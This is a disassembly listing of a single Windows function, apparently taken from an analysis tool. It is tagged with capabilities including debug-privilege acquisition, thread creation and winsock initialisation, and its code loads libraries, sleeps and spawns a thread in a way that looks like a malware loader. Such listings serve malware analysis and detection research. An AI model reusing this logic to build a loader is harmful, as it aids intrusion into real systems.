Function at 0x404076
Capabilities:
Acquire debug privileges
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3cc
and esp, 0xfffffff0
mov eax, 0x10
call fcn.0040b320
call fcn.0040aeb0
lea eax, [ebp - 0x1a8]
mov dword [esp + 4], eax
mov dword [esp], 2
call sub.WS2_32.DLL_WSAStartup
sub esp, 8
call fcn.00404ab8
test al, al
je 0x4040c2
mov dword [esp], 0
call sub.KERNEL32.DLL_ExitProcess
call fcn.004049ea
test al, al
je 0x4040d7
mov dword [esp], 0
call sub.KERNEL32.DLL_ExitProcess
lea edi, [ebp - 0x3a8]
cld
mov ecx, 7
mov eax, 0
rep stosd dword es:[edi], eax
mov word [edi], 0
mov dword [esp + 8], 0x40f11c
mov dword [esp + 4], 0x96
lea eax, [ebp - 0x388]
mov dword [esp], eax
call fcn.00404620
mov dword [esp + 4], 0x40f127
lea edi, [ebp - 0x3a8]
mov dword [esp], edi
call fcn.00404c38
mov dword [esp + 8], edi
mov dword [esp + 4], 0x96
lea ebx, [ebp - 0x248]
mov dword [esp], ebx
call fcn.00404620
mov dword [esp], ebx
call fcn.00403f24
mov esi, eax
call fcn.00403d26
test eax, eax
jne 0x4041c5
call fcn.00405dc4
mov dword [esp], ebx
call fcn.00405d46
call fcn.00403c44
call fcn.004056d0
mov dword [esp], ebx
call fcn.004054f2
mov dword [esp + 4], ebx
lea eax, [ebp - 0x388]
mov dword [esp], eax
call fcn.0040435c
mov dword [esp], ebx
call sub.KERNEL32.DLL_LoadLibraryA
sub esp, 4
mov dword [esp], 0xfa0
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [esp + 4], 0x40f134
mov dword [esp], edi
call fcn.00404c38
mov dword [esp + 4], 0
mov dword [esp], edi
call fcn.00405776
mov edx, 0
jmp 0x404352
call fcn.00403e2e
mov edx, 0
test eax, eax
jne 0x404352
lea ebx, [ebp - 0x248]
mov dword [esp], ebx
call fcn.00404ed6
test eax, eax
jne 0x40423e
call fcn.00405dc4
mov dword [esp], ebx
call fcn.00405d46
call fcn.00403c44
call fcn.004056d0
mov dword [esp], ebx
call fcn.004054f2
mov dword [esp + 4], ebx
lea eax, [ebp - 0x388]
mov dword [esp], eax
call fcn.0040435c
mov dword [esp], ebx
call sub.KERNEL32.DLL_LoadLibraryA
sub esp, 4
mov dword [esp], 0xfa0
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov edx, 0
jmp 0x404352
test esi, esi
jne 0x404253
lea eax, [ebp - 0x248]
mov dword [esp], eax
call sub.KERNEL32.DLL_LoadLibraryA
sub esp, 4
mov dword [esp + 4], 0x40f01c
lea esi, [ebp - 0x2e8]
mov dword [esp], esi
call fcn.00404c38
mov dword [esp + 4], 0x40f061
lea ebx, [ebp - 0x3a8]
mov dword [esp], ebx
call fcn.00404c38
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.00404812
mov dword [ebp - 0x3ac], eax
cmp eax, 1
ja 0x4042cf
lea eax, [ebp - 0x3ac]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x403ae0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.DLL_CreateThread
sub esp, 0x18
mov dword [esp], 0x40f13f
call fcn.00404df4
mov dword [esp], 0x7d0
call sub.KERNEL32.DLL_Sleep
sub esp, 4
call fcn.0040402c
test eax, eax
jne 0x404304
lea eax, [ebp - 0x248]
mov dword [esp], eax
call sub.KERNEL32.DLL_LoadLibraryA
sub esp, 4
mov dword [esp + 4], 0x40f06f
lea ebx, [ebp - 0x3a8]
mov dword [esp], ebx
call fcn.00404c38
mov dword [esp + 4], ebx
lea eax, [ebp - 0x2e8]
mov dword [esp], eax
call fcn.00404812
mov dword [ebp - 0x3ac], eax
cmp eax, 1
jne 0x40433c
call fcn.00406a0a
call fcn.00407c4e
mov dword [esp], 0xfa0
call sub.KERNEL32.DLL_Sleep
sub esp, 4
jmp 0x404341
mov eax, edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret